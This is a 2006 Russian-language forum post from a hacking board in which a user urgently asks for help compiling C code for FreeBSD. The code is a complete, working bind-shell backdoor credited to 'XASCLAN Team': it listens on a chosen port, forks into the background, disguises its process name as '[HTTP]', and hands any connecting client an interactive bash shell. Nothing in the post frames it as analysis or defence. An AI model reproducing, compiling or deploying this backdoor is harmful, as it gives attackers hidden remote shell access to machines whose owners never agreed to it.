HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Помогите откомпилить!!
  #1  
Старый 18.03.2006, 22:58
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
С нами: 10640486

Репутация: 408
По умолчанию Помогите откомпилить!!

Срочно надо откомпилить под FreeBSD 5.4!!!
Первому гарантированый + !! =)
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <strings.h>
#include <sys/types.h>

char shell[] = "/bin/bash";
char cmdname[] = "[HTTP]";
char message[] = "\n..::[XASCLAN Team : Bind Shell]::..\n";

int main(int arg, char **param[])
{ 
  int sd, datas; 
  int sins, port;
  char c;
  struct sockaddr_in saddr;
  struct sockaddr_in saddrd;

  sins = 0x10; // Size

  /* Arguments */
  if( arg != 2)
    { 
      printf("Usage: %s <port>\n", param[0]);
      exit(0);
    }

  /* Port check */
  port = atoi((char *)param[1]);
  if( port > 65535 | port < 1)
    {
      fprintf(stderr, "Error: Ports must be > 0 and < 65535\n");
      exit(1);
    }

  /* Creat socket struct */
  bzero(&saddr, sizeof(saddr));
  saddr.sin_family  = AF_INET;
  saddr.sin_port = htons(port);
  saddr.sin_addr.s_addr = INADDR_ANY;

  /* Creat socket */
  if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
    {
      fprintf(stderr, "Error: Creat Socket Failed\n");
      exit(1);
    }

  /* Fork */
  if( fork() == 0)
    {
      /* Bind port */
      if( bind(sd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0)
        {
           close(sd);
           fprintf(stderr, "Error: Bind Failed\n");
           exit(1);
        }

      /* Listen port */
      if( listen(sd, 5) < 0) // Listen port. Max active connections = 5
        { 
          close(sd);
          fprintf(stderr, "Error: Listen Failed\n");
          exit(1);
        }         

      for(;;)
        {
          if(( datas = accept(sd, (struct sockaddr *) &saddrd, &sins)) > 0)
            {
              write(datas, message, sizeof(message));

              dup2(datas, 0);
              dup2(datas, 1);
              dup2(datas, 2);
             
              execl( shell, cmdname, 0);
              close(datas);
              exit(0);
            }
        }
    } 
    close(datas); 
}
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...